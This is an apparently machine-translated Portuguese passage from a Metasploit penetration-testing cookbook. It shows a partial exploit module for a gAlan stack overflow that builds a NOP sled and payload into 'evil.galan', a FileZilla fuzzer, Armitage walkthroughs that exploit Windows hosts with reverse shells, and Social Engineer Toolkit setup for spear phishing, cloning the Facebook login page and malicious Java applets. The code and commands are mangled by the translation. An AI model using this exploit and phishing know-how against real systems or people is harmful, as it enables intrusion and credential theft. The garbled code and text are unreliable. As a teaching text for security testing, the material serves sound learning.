Este módulo explora um estouro de pilha em gAlan
0.2.1
Ao criar um arquivo galan especialmente criado,
um invasor pode ser capaz
para executar código arbitrário.
},
'Licença' => MSF_LICENSE,
'Autor' => ['original de Jeremy Brown'],
'Versão' => '$Revisão: 7724 $',
'Referências' =>
[
[ 'URL', 'http://www.exploit
db.com/exploits/10339' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'processo',
},
'Carga útil' => {
200
Machine Translated by Google
Capítulo 8
[
OptString.new('FILENAME', [ false, 'O nome
do arquivo.', 'evil.galan']),
], self.class)
fim
Até agora, foi simples e direto. A reviravolta começa com a definição da função exploit() . Vamos ver
como podemos fazer isso.
Começaremos com os primeiros quatro bytes do script de exploração original, ou seja, $magic =
"Cidade";
Então, avançamos e construímos nosso buffer. Como encontramos a posição onde o EIP foi
substituído, podemos substituir o valor do endereço de retorno repetido por:
Então, teremos que adicionar nosso slide nop. Portanto, essa parte do script de exploração
muda para a seguinte linha no módulo:
exploração def
sploit = "Mjik" sploit <<
rand_text_alpha_upper(1028) sploit << [target.ret].pack('V')
sploit << "\x90" * 45 sploit << payload.encoded galan = sploit
print_status("Criando ' #{datastore['FILENAME']}' arquivo
...")
file_create(galan)
fim
201
Machine Translated by Google
Esta foi uma demonstração curta e simples de como podemos converter um exploit existente em um módulo
Metasploit. O nível de dificuldade desse processo pode variar de exploit para exploit. A melhor maneira de aprender
mais sobre isso é visualizando os módulos de exploração disponíveis na biblioteca Metasploit.
Na próxima receita, aprenderemos como portar esse módulo de exploração no framework para que possamos usá-
lo para testes de penetração.
Preparando-se
É muito importante cuidar da pasta onde vamos armazenar nosso módulo de exploração.
Isso pode ajudá-lo a acompanhar os diferentes módulos e também facilita a estrutura na compreensão do uso básico
do módulo. Agora que você tem o script do módulo completo, vamos descobrir um local apropriado para salvá-lo.
Como funciona...
A próxima e última tarefa será verificar se nosso módulo está funcionando bem ou não. Já trabalhamos muito
com módulos até agora, então esta etapa será fácil. Seguiremos o mesmo processo que usamos até agora:
202
Machine Translated by Google
Capítulo 8
Depois que o comando exploit for passado, o módulo executará e criará um arquivo que pode ser usado para causar um
estouro na máquina de destino.
Isso conclui nosso processo de criação e execução do módulo. Você deve ter percebido que o processo é simples. O
verdadeiro esforço está na conversão adequada de scripts de exploração em um módulo de estrutura. Você pode
depurar ou modificar qualquer módulo existente de acordo com sua necessidade.
Você também pode enviar qualquer módulo recém-criado para a comunidade Metasploit para ajudar outras pessoas a
se beneficiarem dele.
Preparando-se
Antes de pularmos para os módulos fuzzer do Metasploit, vamos ter uma breve visão geral do fuzzing e seus
tipos.
Fuzzing é tratado como uma técnica de teste de caixa preta onde testamos a capacidade máxima de estouro do software.
Fuzzing é usado ativamente para encontrar bugs em aplicativos.
Fuzzers podem ser usados para testar software, protocolos e formatos de arquivo. Fuzzers automatizam o
processo de geração e injeção de dados. Podemos controlar o tamanho dos dados ou pacotes a serem injetados.
Dependendo do tipo de aplicativo ou protocolo que desejamos, podemos configurar nosso fuzzer para gerar dados/
pacotes para testar seu estouro. O Metasploit contém vários módulos fuzzer que podem ser usados para testar
aplicativos e protocolos contra testes de caixa preta.
Esses módulos podem ser localizados em módulos/auxiliares/fuzzers. Vamos analisar a implementação desses
módulos.
203
Machine Translated by Google
Opções do módulo:
Você pode ver que existem muitos parâmetros interessantes disponíveis para nós. Vamos descobrir qual
funcionalidade cada parâmetro contém.
f A opção CYCLIC é usada para configurar um padrão cíclico como dados fuzz. Isso é feito para
determinar deslocamentos, pois cada quarto byte de string é exclusivo. Se for definido como falso,
o fuzzer usará uma string de A's como dados fuzz.
f A opção ENDSIZE define o comprimento máximo de dados fuzz para enviar de volta para o
cliente FTP. Por padrão, é definido como 20.000 bytes.
f A opção ERROR , se definida como true, responderá ao cliente FTP usando códigos de erro. f A
opção EXTRALINE é um teste fuzz para listagem de diretórios. Alguns clientes FTP podem travar
se uma solicitação de nome de diretório muito grande for enviada ao cliente.
204
Machine Translated by Google
Capítulo 8
f A opção STARTSIZE é usada para definir o comprimento inicial dos dados fuzz. f A opção STEPSIZE
Deve-se ter cuidado ao trabalhar com fuzzers. Se os valores de parâmetro corretos não forem passados, o teste
fuzz poderá falhar. Você sempre pode consultar o código-fonte do módulo para entender o fuzzer profundamente.
Vamos executar nosso fuzzer de cliente FTP e ver qual saída é retornada:
A saída tem várias coisas a serem observadas. Em primeiro lugar, o servidor FTP é iniciado na máquina atacante.
Em seguida, ele se conecta novamente com o cliente FTP. Em seguida, ele começa a enviar diferentes comandos de
resposta para a máquina cliente. O processo de fuzzing começa com o comando NLST . Em seguida, passa para
LIST e assim por diante.
Esta foi uma pequena demonstração de como funcionam os módulos fuzzer. Na próxima receita, daremos uma
olhada mais profunda no fuzzing de protocolo construindo nosso próprio módulo de fuzzing.
205
Machine Translated by Google
Como funciona...
Fuzzers criam diferentes casos de teste de acordo com a aplicação que queremos fuzz. Em nosso exemplo, o
servidor FTP pode ser fuzzed enviando pacotes de dados aleatórios e, em seguida, analisando sua resposta. Os pacotes
de dados podem difundir os seguintes atributos em uma rede:
f Cabeçalho do pacote: Fuzzers podem inserir pacotes de dados aleatórios de tamanho e valor arbitrários
nos cabeçalhos e analisar sua resposta.
f Soma de verificação do pacote: Os valores da soma de verificação também podem ser manipulados em
condições usando fuzzers.
f Tamanho do pacote: Pacotes de dados de comprimento arbitrário também podem ser enviados para a rede
aplicativo para determinar uma falha.
Depois que uma falha ou estouro é relatado, o fuzzer pode retornar seu caso de teste para fornecer os dados de estouro.
requer 'msf/núcleo'
incluem Msf::Auxiliar::Scanner
def inicializar
super(
'Nome' => 'FileZilla Fuzzer',
'Versão' => '$Revisão: 1 $',
'Descrição' => 'Filezilla FTP fuzzer',
'Autor' => 'Abhinav_singh',
'Licença' => MSF_LICENSE
)
206
Machine Translated by Google
Capítulo 8
], self.class)
fim
Portanto, importamos as bibliotecas MSF, criamos uma classe e definimos nossas opções. O próximo
passo será definir o corpo principal do fuzzer.
def run_host(ip)
Vamos analisar o roteiro. O script começa com a criação de um soquete UDP que será necessário para
estabelecer uma conexão com o servidor FileZilla. Em seguida, declaramos as variáveis startize e count que
contêm os valores para iniciar o tamanho dos dados do fuzzer e o comprimento do incremento,
respectivamente. Em seguida, configuramos um loop no qual declaramos nossa string maligna e um formato
de carga útil que será enviado como um pacote (pkt).
207
Machine Translated by Google
Em seguida, o script tenta enviar o pacote de dados para o servidor usando a função udp_sock_sendto e
sua resposta é capturada usando resp=udp_sock.get(). Além disso, a contagem do pacote é aumentada em
100 cada vez que a resposta é recebida.
Como funciona...
Para começar a trabalhar com o módulo, teremos que salvá-lo em módulos/auxiliares/fuzzers/ftp. Vamos
nomear o módulo fuzzer como filezilla_fuzzer.rb:
Portanto, nosso módulo está funcionando bem e exibindo as opções disponíveis para nós. Passemos os
respectivos valores e vejamos o que acontece quando passamos o comando run :
Bingo! O fuzzer começa a enviar strings para o servidor e continua o processo, a menos que o servidor falhe
ou o loop termine. Se o loop terminar antes da falha, você poderá modificar o script para enviar um comprimento
de string maior. Esta é uma demonstração simples de como usar o software Metasploit para fuzz. Geralmente não
é recomendado usar o Metasploit como uma plataforma fuzzing para grandes softwares. Temos vários frameworks
dedicados que são feitos especialmente para fuzzing de software e aplicativos.
208
Machine Translated by Google
Capítulo 8
Tem mais...
Vamos dar uma olhada rápida em uma estrutura fuzzing na qual você pode trabalhar se quiser aprimorar
seu conhecimento sobre fuzzing e explorar o desenvolvimento.
209
Machine Translated by Google
Machine Translated by Google
9
Trabalhando com
Armitage
Neste capítulo, abordaremos:
f Introdução ao Armitage
Introdução
Até agora, nos concentramos completamente na estrutura do Metasploit e estudamos como usar a estrutura
para obter o melhor dos testes de penetração. Agora vamos mudar nosso foco nas ferramentas de extensão
do Metasploit, que levam os testes de penetração para o próximo nível. Começaremos nosso tour com Armitage,
uma ferramenta baseada em GUI que roda sobre o framework. É uma ferramenta inteligente para o Metasploit que
visualiza alvos, recomenda explorações e expõe os recursos avançados de pós-exploração na estrutura.
Armitage organiza os recursos do Metasploit em torno do processo de hacking. Existem recursos para descoberta,
acesso, pós-exploração e manobra. Os espaços de trabalho dinâmicos de Armitage permitem que você defina e
alterne rapidamente entre os critérios de destino. Use isso para segmentar milhares de hosts em conjuntos de
destino. Armitage também inicia varreduras e importa dados de muitos scanners de segurança.
Armitage visualiza seus alvos atuais, para que você conheça os hosts com os quais está trabalhando e onde
tem sessões. Armitage recomenda explorações e, opcionalmente, executará verificações ativas para informar quais
explorações funcionarão. Se essas opções falharem, use o ataque Hail Mary para liberar a exploração automática
inteligente de Armitage contra seus alvos.
Machine Translated by Google
Uma vez dentro, Armitage expõe ferramentas de pós-exploração incorporadas ao agente meterpreter.
Com o clique de um menu, você aumentará seus privilégios, registrará as teclas digitadas, despejará hashes
de senha, navegará no sistema de arquivos e usará shells de comando.
Portanto, usando o Armitage, podemos facilitar ainda mais nosso processo de teste de penetração por
meio de vários recursos prontos fornecidos pela ferramenta. Portanto, vamos começar nosso capítulo com
o básico da configuração do Armitage com o Metasploit e, posteriormente, analisaremos a varredura de portas,
pré-exploração e pós-exploração com o Armitage.
http://www.fastandeasyhacking.com/download
1. Armitage será pré-instalado no BackTrack 5 R2. Ele pode ser iniciado clicando em
Aplicativos na área de trabalho e, em seguida, navegando para Backtrack | Ferramentas de exploração
| Ferramentas de exploração de rede | Estrutura Metasploit | Armitagem.
Você verá uma GUI que solicitará que você configure a conexão. Ele terá o nome de usuário
e a senha padrão como msf e teste, respectivamente. Você pode manter o driver do banco
de dados como postgressql e, finalmente, a string de conexão do banco de dados como
msf3:"8b826ac0"@127.0.0.1:7175/msf3:
212
Machine Translated by Google
Capítulo 9
2. Depois que essas configurações padrão forem concluídas, podemos iniciar a GUI do Armitage clicando em
Iniciar MSF.
3. Você pode baixar o arquivo ZIP do URL mencionado anteriormente, mas também há uma alternativa
simples. Você pode ir para Iniciar | Programas | Estrutura Metasploit | Atualização do quadro. Assim
que a atualização for concluída, ele adicionará automaticamente o Armitage à sua biblioteca Metasploit.
4. Assim que a atualização estiver concluída, o Armitage pode ser iniciado navegando para Iniciar | Programas
| Estrutura Metasploit | Armitagem.
5. Você verá a GUI de conexão que terá valores padrão configurados para Host, Porta, Usuário e Senha. Você
pode simplesmente clicar em Conectar para iniciar o Armitage localmente.
6. Depois de clicar em Conectar, ele solicitará que você inicie o servidor Metasploit RPC. Clique em Sim e
prossiga para a janela principal. Para usar o Armitage em um Metasploit remoto, você pode alterar o
endereço IP de 127.0.0.1 para o IP remoto.
Como funciona...
Armitage funciona criando chamadas RPC para o Metasploit. Depois de clicar em Conectar, você notará uma
mensagem de falha de conexão RPC repetida. A mensagem de erro ocorre porque Armitage continua tentando se
conectar à estrutura Metasploit lançando chamadas RPC e aguarda uma resposta. Depois que a conexão for bem-
sucedida, seremos apresentados à GUI Armitage contendo o console MSF na parte inferior.
213
Machine Translated by Google
Tem mais...
Vamos ver como podemos configurar o Armitage em outros tipos de Linux.
Preparando-se
Para iniciar uma verificação do Nmap, você pode clicar em Hosts e depois em Nmap Scan, conforme
mostrado na captura de tela a seguir. Vamos fazer uma varredura rápida de detecção do sistema operacional
e ver se algum host está ativo ou não:
214
Machine Translated by Google
Capítulo 9
Dando uma olhada rápida na janela do Armitage, há um painel de pesquisa à esquerda onde podemos pesquisar todos
os diferentes módulos presentes no framework, o que não é tão fácil quando se trabalha com msfconsole. Além disso,
podemos ver o painel MSF Console de onde podemos executar qualquer comando Metasploit que aprendemos até agora.
Portanto, temos o poder da GUI e da linha de comando quando trabalhamos com Armitage.
1. Para iniciar o processo de varredura, Armitage nos pedirá um IP ou faixa de IP que irá escanear. Forneça um
intervalo de varredura de 192.168.56.1/24 que fará a varredura de toda a rede para nós e retornará as
versões do sistema operacional dos hosts ativos, se for detectável:
2. Uma vez concluída a verificação, ela refletirá todos os hosts ativos e seus possíveis
sistemas operacionais na forma de imagens, conforme mostrado na captura de tela anterior.
Portanto, em nosso caso, existem três hosts ativos, dos quais dois estão executando o Windows enquanto
um está executando o Linux.
215
Machine Translated by Google
3. Agora, nosso próximo passo será coletar mais informações sobre nossos alvos ativos, para que
possamos escolher explorações relevantes para realizar testes de penetração. Clicar com o botão
direito do mouse na imagem do alvo abrirá a opção Serviços . Clicar nele abrirá uma nova guia que
listará as portas abertas e os serviços em execução nessas portas. Dessa forma, podemos reunir
muitas informações relevantes sobre vários alvos com apenas alguns cliques:
Outra coisa importante a observar aqui são as diferentes guias que Armitage cria para cada nova
solicitação. Isso nos ajuda a lidar com vários alvos ao mesmo tempo com facilidade. Podemos
alternar facilmente entre os alvos e obter informações sobre eles. A qualquer momento, se estivermos
com poucas opções no Armitage, podemos ir para a guia Console e experimentar os comandos do
Metasploit diretamente lá. Esta é uma grande vantagem que o Armitage tem sobre o Metasploit. A
manipulação de alvos múltiplos aumenta a eficiência do teste de desempenho.
216
Machine Translated by Google
Capítulo 9
Na próxima receita, começaremos nossa fase de exploração e veremos com que facilidade e rapidez o
Armitage nos fornece explorações e cargas úteis relevantes que podemos aplicar em nossos alvos.
Como funciona...
Armitage importa a funcionalidade Nmap da estrutura Metasploit. Os parâmetros necessários ao Nmap são
passados da GUI do Armitage na forma de instruções para o Metasploit.
Então o Metasploit chama o script Nmap e usa as instruções como parâmetros.
Preparando-se
Vamos lançar nosso painel Armitage e nos conectar ao Metasploit. Em seguida, inicie a varredura do Nmap para
procurar alvos disponíveis. Cobrimos essas etapas nas duas receitas anteriores. Vamos encontrar vulnerabilidades em
nossos alvos usando Armitage.
217
Machine Translated by Google
Como funciona...
Assim que os exploits forem descobertos por Armitage, encontraremos uma opção extra - Atacar clicando com
o botão direito do mouse na imagem de destino. Esta opção reflete diferentes ataques descobertos por Armitage
para aquele alvo específico:
Vamos seguir em frente e explorar nosso alvo Windows. Você pode usar a vulnerabilidade SMB
ms_08_047 netapi para explorar o alvo. Você pode encontrar esse exploit clicando com o botão direito do
mouse no alvo e movendo-se para o menu Ataque | PME | MS_08_047 exploração netapi. Você também pode
marcar a opção Usar uma conexão reversa para obter uma conexão de volta para você assim que a exploração
for executada com sucesso. Na execução bem-sucedida de um exploit, você notará três coisas:
f A imagem do alvo muda para vermelho com relâmpagos ao redor mostrando exploração bem-
sucedida
f Clicar com o botão direito do mouse no alvo nos dá a opção do canal meterpreter
218
Machine Translated by Google
Capítulo 9
Você pode ver como é fácil explorar um alvo sem passar nenhum comando. A GUI fornece todos os
recursos controlados por comandos no Metasploit. Esta é a razão pela qual Armitage adiciona mais
poder à estrutura. No entanto, um bom conhecimento dos comandos do msfconsole é essencial. Não
podemos depender apenas da GUI. Existem várias funcionalidades do MSF que não podem ser
aproveitadas usando a GUI do Armitage.
219
Machine Translated by Google
Como funciona...
Vamos configurar um manipulador múltiplo e explorar o alvo usando a vulnerabilidade do lado do cliente.
Você pode ver que o comando exploit lançou um erro que não pode vincular um manipulador reverso em
192.168.56.101:15263. Isso ocorre porque já definimos uma conexão reversa nesta porta enquanto exploramos
o alvo do Windows XP. Portanto, teremos que alterar o número da porta e usar o comando exploit novamente.
Agora, assim que a exploração do lado do cliente for executada com sucesso, teremos uma conexão
reversa e teremos relâmpagos contra nosso alvo de 2008 Server.
O importante a observar aqui é que temos guias diferentes para alvos diferentes.
Podemos interagir facilmente com qualquer alvo comprometido alternando entre as guias:
220
Machine Translated by Google
Capítulo 9
Esta é mais uma característica importante do Armitage que facilita o processo de teste de
penetração. Isso pode ser muito benéfico quando estamos lidando com vários alvos em uma rede.
Preparando-se
Analisaremos nosso alvo Windows XP explorado e veremos como podemos realizar várias
atividades pós-exploração nele.
221
Machine Translated by Google
222
Machine Translated by Google
Capítulo 9
Como funciona...
Você pode ver que a captura de tela foi exibida em uma nova guia com dois botões na parte inferior. O botão
Atualizar exibirá uma nova captura de tela, enquanto o botão Assistir atualizará a captura de tela a cada 10
segundos.
Da mesma forma, você pode experimentar várias opções de pós-exploração "clique para servidor" disponíveis no
Armitage para acelerar o processo de teste de penetração.
Esta foi uma pequena demonstração do uso do Armitage como uma potencial extensão do Metasploit para
acelerar o processo de exploração. O verdadeiro poder do Armitage só pode ser compreendido quando temos o
controle total sobre o Metasploit. Uma combinação de uma poderosa linha de comando com a GUI torna o
Armitage uma ferramenta perfeita para testes de penetração.
Preparando-se
Podemos iniciar nosso teste de penetração iniciando uma varredura simples do Nmap para descobrir o
endereço IP e outras informações sobre nosso alvo.
223
Machine Translated by Google
2. O módulo de exploração solicita SRVHOST e o host URI onde teremos que fornecer o endereço IP da
máquina de destino e o URI de solicitação. Todos os outros parâmetros já possuem valores padrão.
3. Após passar os valores dos parâmetros, clique no botão Iniciar para começar
o processo de exploração.
224
Machine Translated by Google
Capítulo 9
Como funciona...
Depois que o botão Iniciar é clicado, a atividade de exploração é refletida na janela do console .
Armitage gerará um local de URI que deve ser executado pelo usuário alvo em seu navegador para iniciar
o ataque. Armitage inicia automaticamente um ouvinte de retorno que espera por uma conexão de volta da
máquina de destino se a exploração for bem-sucedida. Podemos usar diferentes técnicas de engenharia
social para transferir nossa URL maliciosa para o usuário-alvo.
Assim que o ataque for bem-sucedido, observaremos os raios ao redor de nossa imagem de destino na
GUI do Armitage. Ao clicar com o botão direito do mouse no alvo, podemos encontrar diferentes opções
de pós-exploração, como configurar uma sessão meterpreter e fazer login. A captura de tela a seguir
descreve esse cenário:
A resposta de diferentes processos, como a configuração de uma sessão do meterpreter , também pode ser
monitorada na janela Console . Podemos observar o mesmo conjunto de comandos sendo executados no
console que abordamos nos capítulos anteriores. Armitage apenas automatiza todo o processo, fornecendo um
meio de interação baseado em GUI.
225
Machine Translated by Google
Machine Translated by Google
Engenheiro Social
10
Conjunto de ferramentas
Introdução
A engenharia social é um ato de manipular as pessoas para realizar ações que não pretendem fazer. Um cenário de
engenharia social com base cibernética é projetado para prender um usuário na execução de atividades que podem
levar ao roubo de informações confidenciais ou alguma atividade maliciosa. A razão para o rápido crescimento da
engenharia social entre os hackers é que é difícil quebrar a segurança de uma plataforma, mas é muito mais fácil induzir
o usuário dessa plataforma a realizar atividades maliciosas não intencionais. Por exemplo, é difícil quebrar a segurança
do Gmail para roubar a senha de alguém, mas é fácil criar um cenário de engenharia social onde a vítima pode ser
enganada para revelar suas informações de login enviando uma página de login/phishing falsa .
Machine Translated by Google
O Social Engineer Toolkit foi projetado para executar essas atividades enganosas. Assim como temos exploits e
vulnerabilidades para softwares e sistemas operacionais existentes, o SET é um exploit genérico de humanos
para quebrar sua própria segurança consciente. É um kit de ferramentas oficial disponível em www.social-
engineer.org e vem como instalação padrão com o BackTrack 5. Neste capítulo, analisaremos o aspecto dessa
ferramenta e como ela adiciona mais poder ao framework Metasploit. Vamos nos concentrar principalmente na
criação de vetores de ataque e no gerenciamento do arquivo de configuração que é considerado o coração do
SET. Então, vamos mergulhar mais fundo no mundo da engenharia social.
Vamos começar nossa receita introdutória sobre o SET, onde discutiremos o SET em diferentes
plataformas.
Preparando-se
O SET pode ser baixado para diferentes plataformas em seu site oficial, www.social-engineer. com. Possui a versão
GUI, que roda no navegador, e a versão de linha de comando, que pode ser executada no terminal. Ele vem pré-
instalado no BackTrack, que será nossa plataforma para discussão neste capítulo.
root@bt:~# cd /pentest/exploits/set
3) Módulos de terceiros
228
Machine Translated by Google
Capítulo 10
Se estiver usando o SET pela primeira vez, você pode atualizar o kit de ferramentas para obter os módulos mais recentes
e corrigir bugs conhecidos. Para iniciar o processo de atualização, passaremos o comando svn update . Assim que o kit de
ferramentas for atualizado, ele estará pronto para uso.
A versão GUI do SET pode ser acessada navegando para Aplicativos | Recuar | Ferramentas de exploração
| Kit de Ferramentas de Engenharia Social | set-web.
Como funciona...
O Social Engineering Toolkit é uma ferramenta de automação baseada em Python que cria um aplicativo orientado
a menus para nós. A execução mais rápida e a versatilidade do Python o tornam a linguagem preferida para o
desenvolvimento de ferramentas modulares como o SET. Também facilita a integração do kit de ferramentas com
servidores da web. Qualquer servidor HTTP de código aberto pode ser usado para acessar a versão do navegador do
SET. O Apache é considerado o servidor preferencial ao trabalhar com o SET.
Preparando-se
Para iniciar o arquivo de configuração, vá para config e abra o arquivo set_config .
229
Machine Translated by Google
O arquivo de configuração será iniciado com algumas instruções introdutórias, conforme mostrado na
captura de tela a seguir:
METASPLOIT_PATH=/pentest/exploits/framework3
# EXEMPLO: ETTERCAP_INTERFACE=wlan0
ETTERCAP_INTERFACE=eth0
#
ETTERCAP_PATH=/usr/share/ettercap
230
Machine Translated by Google
Capítulo 10
pode ser usado para executar ataques de LAN como envenenamento de DNS, spoofing, etc. A configuração SET acima pode ser
usada para definir ettercap ON ou OFF, dependendo da usabilidade. # SENDMAIL ATIVADO OU DESATIVADO PARA SPOOFING
DE ENDEREÇOS DE E-MAIL
ENVIAR=DESATIVADO
O servidor de e-mail sendmail é usado principalmente para falsificação de e-mail. Esse ataque funcionará
apenas se o servidor de e-mail do alvo não implementar a pesquisa reversa. Por padrão, seu valor é definido
como OFF.
A configuração a seguir mostra um dos vetores de ataque mais amplamente usados do SET. Essa
configuração permitirá que você assine um miniaplicativo Java malicioso com seu nome ou com qualquer nome
falso e, em seguida, poderá ser usado para executar um ataque de infecção de miniaplicativo Java baseado em navegador.
# CRIE APPLETS JAVA AUTO-ASSINADOS E SPOOF PUBLISHER NOTE QUE ISSO REQUER
VOCÊ PARA
# INSTALAR ---> USUÁRIOS JAVA 6 JDK, BT4 OU UBUNTU: apt-get install openjdk 6-jdk
# SE NÃO ESTIVER INSTALADO NÃO FUNCIONARÁ. TAMBÉM PODE FAZER apt-get install sun-java6-jdk
SELF_SIGNED_APPLET=DESLIGADO
Discutiremos esse vetor de ataque em detalhes na receita posterior. Esse vetor de ataque também exigirá
que o JDK seja instalado em seu sistema. Vamos definir seu valor como ON , pois discutiremos esse ataque em
detalhes:
SELF_SIGNED_APPLET=ON
AUTO_DETECT=ON
O sinalizador AUTO_DETECT é usado pelo SET para descobrir automaticamente as configurações de rede. Isso permitirá
que o SET detecte seu endereço IP se você estiver usando um encaminhamento NAT/porta e permite que você se
conecte à Internet externa.
A configuração a seguir é usada para configurar o servidor web Apache para executar vetores de ataque baseados
na web. É sempre preferível configurá-lo para ON para melhor desempenho de ataque:
# USE APACHE EM VEZ DE SERVIDORES WEB STANDARD PYTHON, ISTO IRÁ AUMENTAR
VELOCIDADE DE
# O VETOR DE ATAQUE
APACHE_SERVER=OFF
231
Machine Translated by Google
APACHE_DIRECTORY=/var/www
A configuração a seguir é usada para configurar o certificado SSL durante a execução de ataques da web.
Vários bugs e problemas foram relatados para a configuração WEBATTACK_SSL do SET.
Portanto, é recomendável manter este sinalizador DESLIGADO:
VETOR WEB_ATTACK
WEBATTACK_SSL=DESLIGADO
A configuração a seguir pode ser usada para criar um certificado autoassinado para ataques na Web, mas haverá uma mensagem
de aviso dizendo "Certificado não confiável". Portanto, é recomendável usar essa opção com sabedoria para evitar alertar o usuário-
alvo:
# CAMINHO PARA O ARQUIVO PEM PARA UTILIZAR CERTIFICADOS COM O VETOR DE ATAQUE DA WEB
(OBRIGATÓRIO)
# VOCÊ PODE CRIAR SEU PRÓPRIO CONJUNTO UTILIZANDO, BASTA LIGAR SELF_SIGNED_CERT
# SE VOCÊ ESTÁ USANDO ESTE FLAG, CERTIFIQUE-SE DE QUE O OPENSSL ESTÁ INSTALADO!
SELF_SIGNED_CERT=DESLIGADO
A seguinte configuração é usada para habilitar ou desabilitar o ouvinte Metasploit assim que o ataque for executado:
AUTOMATIC_LISTENER=ON
A configuração a seguir permitirá que você use o SET como um kit de ferramentas autônomo sem usar as funcionalidades do
Metasploit, mas é sempre recomendável usar o Metasploit junto com o SET para aumentar o desempenho do teste de penetração.
METASPLOIT_MODE=ON
Estas são algumas definições de configuração importantes disponíveis para SET. O conhecimento adequado do arquivo de
configuração é essencial para obter controle total sobre o Social Engineer Toolkit.
232
Machine Translated by Google
Capítulo 10
Como funciona...
O arquivo de configuração SET é o coração do kit de ferramentas, pois contém os valores padrão que o SET
escolherá ao executar vários vetores de ataque. Um arquivo SET mal configurado pode levar a erros durante a
operação, por isso é essencial entender os detalhes definidos no arquivo de configuração para obter os melhores
resultados. A seção Como fazer reflete claramente a facilidade com que podemos entender e gerenciar o arquivo de
configuração.
Preparando-se
Antes de avançarmos com um ataque de phishing, é imperativo que saibamos como funciona o sistema de e-mail.
Os servidores de e-mail do destinatário, para mitigar esses tipos de ataques, implementam listas cinzas,
validação de registros SPF, verificação RBL e verificação de conteúdo. Esses processos de verificação garantem
que um determinado e-mail chegou do mesmo servidor de e-mail de seu domínio. Por exemplo, se um endereço de
e-mail falsificado, richyrich@gmail.com chegar do IP 202.145.34.23 , ele será marcado como malicioso, pois esse
endereço IP não pertence ao Gmail. Portanto, para contornar isso, o invasor deve garantir que o IP do servidor não
esteja presente na lista RBL/SURL. Como o ataque de spear phishing depende muito da percepção do usuário, o
invasor deve realizar um reconhecimento do conteúdo que está sendo enviado e garantir que o conteúdo pareça o
mais legítimo possível.
Os ataques de spear phishing são de dois tipos: conteúdo baseado na web e conteúdo baseado em carga útil.
Nos capítulos anteriores já vimos como criar um payload, mas como a maioria dos sistemas de e-mail não
permite executáveis, devemos considerar o uso de diferentes tipos de payloads embutidos no conteúdo HTML do e-
mail; por exemplo, miniaplicativo Java, Flash, PDF ou MS Word/Excel, para citar alguns.
233
Machine Translated by Google
Passar a opção 1 iniciará nosso ataque de envio em massa. O vetor de ataque começa com a seleção de uma
carga útil. Você pode selecionar qualquer vulnerabilidade da lista de módulos de exploração do Metasploit
disponíveis. Em seguida, seremos solicitados a selecionar um manipulador que possa se conectar de volta ao invasor.
As opções incluirão configurar o servidor vnc ou executar a carga e iniciar a linha de comando e assim por
diante.
As próximas etapas serão iniciar o servidor sendmail , definir um modelo para um formato de arquivo malicioso e
selecionar um ataque único ou em massa:
234
Machine Translated by Google
Capítulo 10
Por fim, você será solicitado a escolher um serviço de e-mail conhecido, como Gmail e Yahoo, ou usar seu próprio
servidor:
definir:phishing>1
Configurar seu próprio servidor não pode ser muito confiável, pois a maioria dos serviços de e-mail segue
uma pesquisa reversa para garantir que o e-mail tenha sido gerado a partir do mesmo nome de domínio que o
nome do endereço.
Vamos analisar outro vetor de ataque de spear phishing. A criação de uma carga útil de formato de arquivo
é outro vetor de ataque no qual podemos gerar um formato de arquivo com uma vulnerabilidade conhecida e
enviá-lo por e-mail para atacar nosso alvo. É preferível usar vulnerabilidades baseadas no MS Word, pois são
difíceis de detectar se são maliciosas ou não, portanto, podem ser enviadas como anexo por e-mail:
Por fim, seremos questionados se queremos configurar um ouvinte ou não. Ele iniciará o ouvinte do
Metasploit e aguardará que o usuário abra o arquivo malicioso e se conecte novamente ao sistema de ataque.
O sucesso dos ataques de e-mail depende do cliente de e-mail que visamos. Portanto, uma análise adequada
desse vetor de ataque é essencial.
Como funciona...
Conforme discutido anteriormente, o vetor de ataque de spear phishing é um vetor de ataque de engenharia
social direcionado a usuários específicos. Um e-mail é enviado da máquina atacante para o(s) usuário(s) alvo.
O e-mail conterá um anexo malicioso que explorará uma vulnerabilidade conhecida na máquina de destino e
fornecerá uma conectividade de shell ao invasor. SET automatiza todo o processo. O principal papel que a
engenharia social desempenha aqui é configurar um cenário que pareça completamente legítimo para o alvo e
enganar o alvo para fazer o download do arquivo malicioso e executá-lo.
235
Machine Translated by Google
O vetor SET "ataque na web" é uma maneira única de utilizar vários ataques baseados na web para comprometer
a vítima pretendida. É de longe o vetor de ataque mais popular do SET. Funciona de maneira semelhante ao
autopwn do navegador, onde vários ataques (ou específicos) podem ser enviados ao navegador de destino. Possui
os seguintes vetores de ataque:
Aqui nesta receita, discutiremos o vetor de ataque mais popular, o método de ataque do applet Java. Vejamos
como esse ataque é realizado usando SET.
Preparando-se
Para começar com o método de ataque do applet Java, teremos que selecionar a primeira opção.
Em seguida, na próxima etapa, seremos solicitados a escolher uma configuração de página da web.
Podemos escolher modelos personalizados ou clonar um URL completo. Vejamos como a clonagem nos
ajudará a realizar o ataque.
O usuário alvo terá que acessar o site que o pen-tester decidiu clonar.
Portanto, o pen-tester deve entender que o site clonado não deve se desviar da funcionalidade do site real
em relação ao site de phishing.
1. Para começar com a opção de clonagem, teremos que decidir qual URL queremos clonar.
Vamos clonar a página de login do Facebook e prosseguir:
1. Modelos da Web
2. Clonador de sites
3. Importação personalizada
4. Retorne ao menu principal
236
Machine Translated by Google
Capítulo 10
Exemplo: http://www.thisisafakesite.com
2. Assim que terminarmos a parte da clonagem, seremos solicitados a escolher uma carga
útil junto com uma backdoor que pode ser descartada na máquina de destino.
3. Depois de concluir essas etapas, o servidor da web SET será iniciado junto com msf. O Msf
gerenciará o manipulador que receberá a conexão de retorno assim que a carga útil for
descartada na máquina de destino.
4. Você pode encontrar seu modelo clonado junto com o jar em /pentest/exploits/set/src/
web_clone/site/template. Agora, quando o usuário alvo visitar o site clonado (hospedado
em um domínio falso), uma mensagem de applet aparecerá como uma mensagem de
alerta completamente segura:
Agora, quando o usuário alvo clica em Permitir, o miniaplicativo malicioso é executado e permite
a execução da carga útil. O ouvinte Metasploit receberá uma conexão de volta da máquina alvo e,
assim, teremos uma sessão ativa:
237
Machine Translated by Google
Canal 1 criado.
Da mesma forma, podemos realizar outros ataques também. Você pode ver com que facilidade o SET cria vetores de ataque para
nós e nos fornece controle total sobre nosso cenário. A melhor coisa sobre o SET é que ele pode lhe dar toda a oportunidade de
implementar suas próprias modificações e mudanças sempre que quiser.
Como funciona...
A infecção do applet Java é uma vulnerabilidade popular do applet Java que permite a execução do applet fora do ambiente de
sandbox protegido. Applets não assinados ou inseguros são executados em um ambiente de sandbox com acesso limitado aos recursos
